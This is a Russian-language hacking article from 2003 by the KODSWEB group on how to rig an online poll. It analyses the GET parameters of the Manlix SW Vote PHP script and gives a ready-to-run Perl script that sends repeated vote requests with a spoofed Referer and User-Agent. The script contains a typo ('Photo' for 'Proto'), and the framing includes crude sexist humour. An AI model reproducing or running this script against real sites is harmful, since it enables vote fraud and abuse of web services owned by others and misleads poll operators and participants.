======================================================================
#								     #
#                Author: {dr}{nerve}  // k0dsweb gr0up		     #
#          Статья является собственностью команды KODSWEB            #
#     Любое растпространение без нашего ведома строго запрещено.     #
#			   -= 8.02.2003 =-			     #
#								     #
======================================================================
#								     #
#        Накручиваем счетчик голосования на конкретном примере	     #	
#								     #
======================================================================


В этой статье я расскажу тебе о том, как "проголосовать за свой сайт"
много раз. Где это можно использовать? Предположим, на каком-то сайте замутили
голосование на тему "У кого самая сисистая телка?". И ты, конечно, решил победить в
этом голосовании.

Варианты ответов, которые предлагаются:
- Вася Пупкин (это ты)
- Иванов
- Петров
- Сидоров
  ...
  и по списку

Возьмем, к примеру, голосование на PHP - Manlix SW Vote v 0.1

В html сорсе все это выглядит так:



 Вася Пупкин
 Иванов
 Петров
 Сидоров
 ...

 


Анализируем: 
============
Данные формы передаются скрипту mnlxswvote.php методом GET,
туда же передается и номер голосования (скрипт может поддерживать несколько голосований)
id=1 и варианты ответа v=1,2,3,4,5,...

Немного прикинув, становится ясно, что нужно передать скрипту v=1 много раз.

Целиком строка выглядит следующим образом:
http://www.server.com/vote/mnlxswvote.php?id=1&v=1


Напишем скрипт. 
===============
Для этого я использую Перл, потому как его можно запустить с
шелла, что есть всегда гут.


#!/usr/bin/perl
use IO::Socket;

# Сервер, к которому будем подключаться, порт и путь соответственно
$server="www.server.com";
$port="80"; # порт
$path="vote/mnlxswvote.php?id=1&v=1"; # а вот тут наш запрос

# Сколько раз "проголосовать"
$con=20;

# Пускаем цикл 
for ($i=0;$i<$con;$i++){ 

    # Создаем сокет
    $socket=IO::Socket::INET->new( 
        PeerAddr => $server, 
        PeerPort => $port, 
        Photo => tcp) || die print "Unable to connect to $server:$port\n"; 

    print $socket "GET $path HTTP/1.1\n"; 
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    # Подмена заголовка
    print $socket "Referer: http://support.microsoft.com/\n"; 
    # Твой агент
    print $socket "User-Agent: Internet Explorer 6.0\n";
    # Отключаем кеширование
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Connection: close\n\n";

}

Вот и все. Ты победил. И теперь тебя будут уважать :) за "читай начало статьи".


Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru
					      [k0dsweb] kodsweb.ru

• Блог